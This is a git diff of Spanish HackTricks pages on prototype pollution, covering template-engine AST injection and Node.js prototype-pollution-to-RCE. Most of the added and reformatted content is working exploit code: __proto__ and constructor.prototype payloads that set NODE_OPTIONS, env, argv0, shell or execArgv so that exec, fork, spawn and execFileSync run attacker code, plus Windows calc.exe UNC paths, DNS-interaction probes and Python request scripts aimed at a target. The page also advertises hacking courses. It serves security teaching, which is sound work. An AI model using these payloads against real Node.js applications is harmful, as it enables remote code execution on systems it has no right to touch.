2. **Manejo por el Compilador**: El compilador puede procesar un Objeto AST o una plantilla de cadena. Si `input.type` es igual a `Program`, la entrada se trata como preanalizada, lo que puede ser explotado.
|
2. **Manejo por el Compilador**: El compilador puede procesar un Objeto AST o una plantilla de cadena. Si `input.type` es igual a `Program`, la entrada se trata como preanalizada, lo que puede ser explotado.
|
||||||
3. **Inyección de Código**: A través de la manipulación de `Object.prototype`, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.
|
3. **Inyección de Código**: A través de la manipulación de `Object.prototype`, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.
|
||||||
|
|
||||||
|
@ -308,9 +312,9 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
||||||
# execute
|
# execute
|
||||||
requests.get(TARGET_URL)
|
requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
#### Vulnerabilidad en Pug
|
#### Vulnerabilidad de Pug
|
||||||
|
|
||||||
Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación de prototipos. Información detallada está disponible en la discusión sobre [Inyección AST en Pug](https://blog.p6.is/AST-Injection/#Pug).
|
Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación de prototipos. La información detallada está disponible en la discusión sobre [Inyección AST en Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||||
|
|
||||||
Ejemplo de contaminación de prototipos en Pug:
|
Ejemplo de contaminación de prototipos en Pug:
|
||||||
```python
|
```python
|
||||||
|
@ -331,7 +335,7 @@ requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
### Medidas Preventivas
|
### Medidas Preventivas
|
||||||
|
|
||||||
Para reducir el riesgo de la contaminación de prototipos, se pueden emplear las estrategias enumeradas a continuación:
|
Para reducir el riesgo de la contaminación del prototipo, se pueden emplear las estrategias enumeradas a continuación:
|
||||||
|
|
||||||
1. **Inmutabilidad de Objetos**: El `Object.prototype` puede hacerse inmutable aplicando `Object.freeze`.
|
1. **Inmutabilidad de Objetos**: El `Object.prototype` puede hacerse inmutable aplicando `Object.freeze`.
|
||||||
2. **Validación de Entradas**: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.
|
2. **Validación de Entradas**: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.
|
||||||
|
@ -339,11 +343,11 @@ Para reducir el riesgo de la contaminación de prototipos, se pueden emplear las
|
||||||
4. **Objetos sin Prototipo**: Se pueden crear objetos sin propiedades de prototipo utilizando `Object.create(null)`.
|
4. **Objetos sin Prototipo**: Se pueden crear objetos sin propiedades de prototipo utilizando `Object.create(null)`.
|
||||||
5. **Uso de Mapas**: En lugar de `Object`, se debe usar `Map` para almacenar pares clave-valor.
|
5. **Uso de Mapas**: En lugar de `Object`, se debe usar `Map` para almacenar pares clave-valor.
|
||||||
6. **Actualizaciones de Bibliotecas**: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.
|
6. **Actualizaciones de Bibliotecas**: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.
|
||||||
7. **Herramientas de Linter y Análisis Estático**: Utilice herramientas como ESLint con complementos apropiados para detectar y prevenir vulnerabilidades de contaminación de prototipos.
|
7. **Herramientas de Linter y Análisis Estático**: Utilice herramientas como ESLint con complementos apropiados para detectar y prevenir vulnerabilidades de contaminación del prototipo.
|
||||||
8. **Revisiones de Código**: Implemente revisiones de código exhaustivas para identificar y remediar posibles riesgos relacionados con la contaminación de prototipos.
|
8. **Revisiones de Código**: Implemente revisiones de código exhaustivas para identificar y remediar posibles riesgos relacionados con la contaminación del prototipo.
|
||||||
9. **Formación en Seguridad**: Eduque a los desarrolladores sobre los riesgos de la contaminación de prototipos y las mejores prácticas para escribir código seguro.
|
9. **Formación en Seguridad**: Eduque a los desarrolladores sobre los riesgos de la contaminación del prototipo y las mejores prácticas para escribir código seguro.
|
||||||
10. **Uso Cauteloso de Bibliotecas**: Sea cauteloso al usar bibliotecas de terceros. Evalúe su postura de seguridad y revise su código, especialmente aquellos que manipulan objetos.
|
10. **Uso Cauteloso de Bibliotecas**: Sea cauteloso al usar bibliotecas de terceros. Evalúe su postura de seguridad y revise su código, especialmente aquellos que manipulan objetos.
|
||||||
11. **Protección en Tiempo de Ejecución**: Emplee mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm centrados en la seguridad que pueden detectar y prevenir ataques de contaminación de prototipos.
|
11. **Protección en Tiempo de Ejecución**: Emplee mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm centrados en la seguridad que pueden detectar y prevenir ataques de contaminación del prototipo.
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
|
|
|
@ -2,13 +2,13 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
|
@ -17,7 +17,6 @@ Otras formas de apoyar a HackTricks:
|
||||||
## Código Vulnerable
|
## Código Vulnerable
|
||||||
|
|
||||||
Imagina un JS real que utiliza un código como el siguiente:
|
Imagina un JS real que utiliza un código como el siguiente:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require('child_process');
|
const { execSync, fork } = require('child_process');
|
||||||
|
|
||||||
|
@ -50,13 +49,11 @@ clone(USERINPUT);
|
||||||
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
||||||
var proc = fork('a_file.js');
|
var proc = fork('a_file.js');
|
||||||
```
|
```
|
||||||
|
|
||||||
## PP2RCE a través de variables de entorno
|
## PP2RCE a través de variables de entorno
|
||||||
|
|
||||||
**PP2RCE** significa **Prototype Pollution to RCE** (Ejecución de Código Remoto).
|
**PP2RCE** significa **Prototype Pollution to RCE** (Ejecución de Código Remoto).
|
||||||
|
|
||||||
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando se **crea un proceso** con algún método de **`child_process`** (como `fork` o `spawn` u otros), se llama al método `normalizeSpawnArguments` que es un **artilugio de prototipos de polución para crear nuevas variables de entorno**:
|
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando se **crea un proceso** con algún método de **`child_process`** (como `fork` o `spawn` u otros), se llama al método `normalizeSpawnArguments` que es un **artilugio de contaminación de prototipos para crear nuevas variables de entorno**:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
|
@ -76,14 +73,13 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Envenenamiento de `__proto__`**
|
### **Envenenamiento de `__proto__`**
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **envenenar cualquier cosa**.\
|
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.\
|
||||||
Por ejemplo, si haces `__proto__.avar="valuevar"`, el proceso se iniciará con una variable llamada `avar` con el valor `valuevar`.
|
Por ejemplo, si haces `__proto__.avar="valuevar"` el proceso se iniciará con una variable llamada `avar` con el valor `valuevar`.
|
||||||
|
|
||||||
Sin embargo, para que la **variable de entorno sea la primera**, necesitas **envenenar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
|
Sin embargo, para que la **variable de entorno sea la primera** necesitas **contaminar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
|
||||||
|
|
||||||
Por eso **`NODE_OPTIONS`** no está dentro de `.env` en el siguiente ataque.
|
Por eso **`NODE_OPTIONS`** no está dentro de `.env` en el siguiente ataque.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -112,10 +108,59 @@ var proc = fork('a_file.js');
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
### Envenenamiento de `constructor.prototype`
|
||||||
|
```javascript
|
||||||
|
const { execSync, fork } = require('child_process');
|
||||||
|
|
||||||
|
// Manual Pollution
|
||||||
|
b = {}
|
||||||
|
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
|
||||||
|
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
|
||||||
|
|
||||||
|
proc = fork('a_file.js');
|
||||||
|
// This should create the file /tmp/pp2rec2
|
||||||
|
|
||||||
|
|
||||||
|
// Abusing the vulnerable code
|
||||||
|
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
|
||||||
|
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
var proc = fork('a_file.js');
|
||||||
|
// This should create the file /tmp/pp2rec2
|
||||||
|
```
|
||||||
|
## PP2RCE a través de variables de entorno + línea de comandos
|
||||||
|
|
||||||
|
Se propuso un payload similar al anterior con algunos cambios en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
|
||||||
|
|
||||||
|
* En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, se almacena dentro de argv0 de **`/proc/self/cmdline`**.
|
||||||
|
* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, se **requiere `/proc/self/cmdline`**.
|
||||||
|
```javascript
|
||||||
|
const { execSync, fork } = require('child_process');
|
||||||
|
|
||||||
|
// Manual Pollution
|
||||||
|
b = {}
|
||||||
|
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
|
||||||
|
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
|
||||||
|
|
||||||
|
// Trigger gadget
|
||||||
|
var proc = fork('./a_file.js');
|
||||||
|
// This should create the file /tmp/pp2rec2
|
||||||
|
|
||||||
|
|
||||||
|
// Abusing the vulnerable code
|
||||||
|
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
|
||||||
|
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
var proc = fork('a_file.js');
|
||||||
|
// This should create the file /tmp/pp2rec
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
## Interacción con DNS
|
## Interacción con DNS
|
||||||
|
|
||||||
Usando los siguientes payloads es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido anteriormente y detectar si funcionó con una interacción con DNS:
|
Usando los siguientes payloads es posible abusar de la variable de entorno NODE_OPTIONS que hemos discutido anteriormente y detectar si funcionó con una interacción con DNS:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
|
@ -125,9 +170,7 @@ Usando los siguientes payloads es posible abusar de la variable de entorno NODE\
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
O, para evitar que los WAF pidan el dominio:
|
O, para evitar que los WAF pidan el dominio:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
|
@ -137,7 +180,6 @@ O, para evitar que los WAF pidan el dominio:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Vulnerabilidad PP2RCE en funciones child\_process
|
## Vulnerabilidad PP2RCE en funciones child\_process
|
||||||
|
|
||||||
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos utilizar alguna técnica para forzar esa función a ejecutar código:
|
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos utilizar alguna técnica para forzar esa función a ejecutar código:
|
||||||
|
@ -146,15 +188,33 @@ En esta sección vamos a analizar **cada función de `child_process`** para ejec
|
||||||
|
|
||||||
<summary><code>exec</code> explotación</summary>
|
<summary><code>exec</code> explotación</summary>
|
||||||
|
|
||||||
\`\`\`javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)
|
{% code overflow="wrap" %}
|
||||||
|
```javascript
|
||||||
|
// environ trick - not working
|
||||||
|
// It's not possible to pollute the .env attr to create a first env var
|
||||||
|
// because options.env is null (not undefined)
|
||||||
|
|
||||||
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/exec-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');
|
// cmdline trick - working with small variation
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { exec } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
|
||||||
|
var proc = exec('something');
|
||||||
|
|
||||||
// stdin trick - not working // Not using stdin
|
// stdin trick - not working
|
||||||
|
// Not using stdin
|
||||||
|
|
||||||
// Windows // Working after kEmptyObject (fix) const { exec } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');
|
// Windows
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { exec } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
|
var proc = exec('something');
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
````
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>execFile</code> explotación</strong></summary>
|
<summary><strong><code>execFile</code> explotación</strong></summary>
|
||||||
|
@ -175,30 +235,48 @@ var proc = execFile('/usr/bin/node');
|
||||||
// Not using stdin
|
// Not using stdin
|
||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
````
|
```
|
||||||
|
Para que **`execFile`** funcione, **DEBE ejecutar node** para que las NODE\_OPTIONS funcionen.\
|
||||||
Para que **`execFile`** funcione, **DEBE ejecutar node** para que NODE\_OPTIONS funcione.\
|
Si **no** está ejecutando **node**, necesitas encontrar cómo podrías **alterar la ejecución** de lo que sea que se esté ejecutando **con variables de entorno** y configurarlas.
|
||||||
Si **no** está ejecutando **node**, debes encontrar cómo podrías **alterar la ejecución** de lo que sea que se esté ejecutando **con variables de entorno** y configurarlas.
|
|
||||||
|
|
||||||
Las **otras** técnicas **funcionan** sin este requisito porque es **posible modificar** **lo que se ejecuta** a través de la contaminación de prototipos. (En este caso, incluso si puedes contaminar `.shell`, no contaminarás lo que se está ejecutando).
|
Las **otras** técnicas **funcionan** sin este requisito porque es **posible modificar** **lo que se ejecuta** a través de la contaminación de prototipos. (En este caso, incluso si puedes contaminar `.shell`, no contaminarás lo que se está ejecutando).
|
||||||
|
```javascript
|
||||||
|
// environ trick - working
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { fork } = require('child_process');
|
||||||
|
b = {}
|
||||||
|
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
|
||||||
|
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||||
|
var proc = fork('something');
|
||||||
|
|
||||||
</details>
|
// cmdline trick - working
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { fork } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
|
||||||
|
var proc = fork('something');
|
||||||
|
|
||||||
<details>
|
// stdin trick - not working
|
||||||
|
// Not using stdin
|
||||||
|
|
||||||
<summary>Explotación de <code>fork</code></summary>
|
// execArgv trick - working
|
||||||
|
// Only the fork method has this attribute
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { fork } = require('child_process');
|
||||||
|
b = {}
|
||||||
|
b.__proto__.execPath = "/bin/sh"
|
||||||
|
b.__proto__.argv0 = "/bin/sh"
|
||||||
|
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
|
||||||
|
var proc = fork('./a_file.js');
|
||||||
|
|
||||||
\`\`\`javascript // environ trick - working // Working after kEmptyObject (fix) const { fork } = require('child\_process'); b = {} b.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/fork-environ').toString())//"} b.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = fork('something');
|
// Windows
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require('child\_process'); p = {} p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/fork-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = fork('something');
|
const { fork } = require('child_process');
|
||||||
|
b = {}
|
||||||
// stdin trick - not working // Not using stdin
|
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
|
var proc = fork('./a_file.js');
|
||||||
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require('child\_process'); b = {} b.**proto**.execPath = "/bin/sh" b.**proto**.argv0 = "/bin/sh" b.**proto**.execArgv = \["-c", "touch /tmp/fork-execArgv"] var proc = fork('./a\_file.js');
|
```
|
||||||
|
|
||||||
// Windows // Working after kEmptyObject (fix) const { fork } = require('child\_process'); b = {} b.**proto**.execPath = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = fork('./a\_file.js');
|
|
||||||
|
|
||||||
````
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -239,23 +317,50 @@ p = {}
|
||||||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = spawn('something');
|
var proc = spawn('something');
|
||||||
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
||||||
````
|
```
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>execFileSync</code> explotación</strong></summary>
|
<summary><strong><code>execFileSync</code> explotación</strong></summary>
|
||||||
|
```javascript
|
||||||
|
// environ trick - working with small variation (shell and argv0)
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { execFileSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
// If in windows or mac you need to change the following params to the path of ndoe
|
||||||
|
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||||
|
var proc = execFileSync('something');
|
||||||
|
|
||||||
\`\`\`javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execFileSync } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/execFileSync-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = execFileSync('something');
|
// cmdline trick - working with small variation (shell)
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { execFileSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
|
||||||
|
var proc = execFileSync('something');
|
||||||
|
|
||||||
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/execFileSync-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = execFileSync('something');
|
// stdin trick - working
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
|
const { execFileSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.argv0 = "/usr/bin/vim"
|
||||||
|
p.__proto__.shell = "/usr/bin/vim"
|
||||||
|
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
|
||||||
|
var proc = execFileSync('something');
|
||||||
|
|
||||||
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require('child\_process'); p = {} p.**proto**.argv0 = "/usr/bin/vim" p.**proto**.shell = "/usr/bin/vim" p.**proto**.input = ':!{touch /tmp/execFileSync-stdin}\n' var proc = execFileSync('something');
|
// Windows
|
||||||
|
// Working after kEmptyObject (fix)
|
||||||
// Windows // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" p.**proto**.argv0 = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');
|
const { execSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
````
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
|
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
|
var proc = execSync('something');
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -297,25 +402,56 @@ const { execSync } = require('child_process');
|
||||||
p = {}
|
p = {}
|
||||||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
var proc = execSync('something');
|
var proc = execSync('something');
|
||||||
````
|
```
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong><code>spawnSync</code> explotación</strong></summary>
|
<summary><strong><code>spawnSync</code> explotación</strong></summary>
|
||||||
|
```javascript
|
||||||
|
// environ trick - working with small variation (shell and argv0)
|
||||||
|
// NOT working after kEmptyObject (fix) without options
|
||||||
|
const { spawnSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
// If in windows or mac you need to change the following params to the path of node
|
||||||
|
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||||
|
var proc = spawnSync('something');
|
||||||
|
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
||||||
|
|
||||||
\`\`\`javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of node p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/spawnSync-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = spawnSync('something'); //var proc = spawnSync('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
|
||||||
|
|
||||||
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/spawnSync-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = spawnSync('something'); //var proc = spawnSync('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
// cmdline trick - working with small variation (shell)
|
||||||
|
// NOT working after kEmptyObject (fix) without options
|
||||||
|
const { spawnSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
|
||||||
|
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
|
||||||
|
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
|
||||||
|
var proc = spawnSync('something');
|
||||||
|
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
||||||
|
|
||||||
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child\_process'); p = {} p.**proto**.argv0 = "/usr/bin/vim" p.**proto**.shell = "/usr/bin/vim" p.**proto**.input = ':!{touch /tmp/spawnSync-stdin}\n' var proc = spawnSync('something'); //var proc = spawnSync('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
|
||||||
|
|
||||||
// Windows // NOT working after require(fix) without options const { spawnSync } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawnSync('something'); //var proc = spawnSync('something',\[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
// stdin trick - working
|
||||||
|
// NOT working after kEmptyObject (fix) without options
|
||||||
|
const { spawnSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.argv0 = "/usr/bin/vim"
|
||||||
|
p.__proto__.shell = "/usr/bin/vim"
|
||||||
|
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
|
||||||
|
var proc = spawnSync('something');
|
||||||
|
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
|
||||||
|
|
||||||
````
|
// Windows
|
||||||
|
